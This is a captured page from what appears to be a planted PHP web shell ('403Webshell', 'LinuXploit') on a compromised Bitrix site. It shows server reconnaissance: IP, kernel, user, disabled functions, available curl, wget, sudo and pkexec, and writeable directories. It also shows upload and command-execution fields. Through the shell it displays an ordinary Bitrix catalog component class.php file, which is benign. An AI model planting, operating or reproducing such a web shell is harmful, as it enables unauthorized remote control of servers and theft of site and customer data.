403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/components/bitrix/catalog.compilation/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/components/bitrix/catalog.compilation/class.php
<?

use \Bitrix\Main;
use \Bitrix\Main\Loader;
use \Bitrix\Main\Localization\Loc;
use \Bitrix\Iblock\Component\ElementList;
use Bitrix\Crm\Timeline;
use Bitrix\SalesCenter\Integration\CatalogManager;

if (!defined('B_PROLOG_INCLUDED') || B_PROLOG_INCLUDED !== true) die();

/**
 * @global CUser $USER
 * @global CMain $APPLICATION
 * @global CIntranetToolbar $INTRANET_TOOLBAR
 */

Loc::loadMessages(__FILE__);

if (!\Bitrix\Main\Loader::includeModule('iblock'))
{
	ShowError(Loc::getMessage('IBLOCK_MODULE_NOT_INSTALLED'));
	return;
}

class CatalogCompilationComponent extends ElementList
{
	public function __construct($component = null)
	{
		parent::__construct($component);
		$this->setExtendedMode(false)->setMultiIblockMode(false)->setPaginationMode(true);
		$this->setSeparateLoading(true);
	}

	public function onPrepareComponentParams($params)
	{
		if (!Loader::includeModule('salescenter'))
		{
			return parent::onPrepareComponentParams($params);
		}

		if (!isset($params['COMPILATION_ID']))
		{
			$params['COMPILATION_ID'] = $this->getCompilationIdFromRequest();
		}

		$this->setCompilationData($params['COMPILATION_ID']);

		return parent::onPrepareComponentParams($params);
	}

	private function getCompilationIdFromRequest(): ?int
	{
		if (!Loader::includeModule('salescenter'))
		{
			return null;
		}

		$compilationHashString = \Bitrix\Main\Context::getCurrent()->getRequest()->get('compilationId');
		if (!$compilationHashString)
		{
			return null;
		}

		$decodeCompilationIdResult = CatalogManager::getInstance()->decodeCompilationId($compilationHashString);
		if (!$decodeCompilationIdResult->isSuccess())
		{
			return null;
		}

		return $decodeCompilationIdResult->getData()['COMPILATION_ID'] ?? null;
	}

	private function setCompilationData(?int $compilationId): void
	{
		$this->arResult['IS_COMPILATION_EXISTS'] = false;
		if (!$compilationId)
		{
			return;
		}

		$compilation = CatalogManager::getInstance()->getCompilationById($compilationId);
		if (!$compilation)
		{
			return;
		}
		$this->arResult['IS_COMPILATION_EXISTS'] = true;

		$compilationProducts = $compilation['PRODUCT_IDS'];
		$this->addViewedCompilationStateToTimeline($compilation);
		if ($compilation['DEAL_ID'])
		{
			$dealId = (int)$compilation['DEAL_ID'];
			$chatId = $compilation['CHAT_ID'] ? (int)$compilation['CHAT_ID'] : null;
			$session = Main\Application::getInstance()->getSession();
			$session->set(
				'CATALOG_CURRENT_COMPILATION_DATA',
				[
					'DEAL_ID' => $dealId,
					'CHAT_ID' => $chatId,
				]
			);
		}

		if (empty($this->globalFilter) && !empty($compilationProducts))
		{
			$compilationProducts = static::getProductsMap($compilationProducts);
			if (!empty($compilationProducts))
			{
				$this->globalFilter = [
					'ID' => array_unique(array_values($compilationProducts))
				];
			}
		}
	}

	protected function addViewedCompilationStateToTimeline($productCompilation): void
	{
		if (!Loader::includeModule('crm'))
		{
			return;
		}

		$timelineParams = [
			'SETTINGS' => [
				'DEAL_ID' => (int)$productCompilation['DEAL_ID'],
				'COMPILATION_ID' => (int)$productCompilation['ID'],
				'COMPILATION_CREATION_DATE' => $productCompilation['CREATION_DATE'],
			]
		];

		Timeline\ProductCompilationController::getInstance()->onCompilationViewed(
			$productCompilation['DEAL_ID'],
			$timelineParams
		);
	}

	public function executeComponent()
	{
		if (empty($this->globalFilter))
		{
			$this->includeComponentTemplate();

			return false;
		}

		return parent::executeComponent();
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit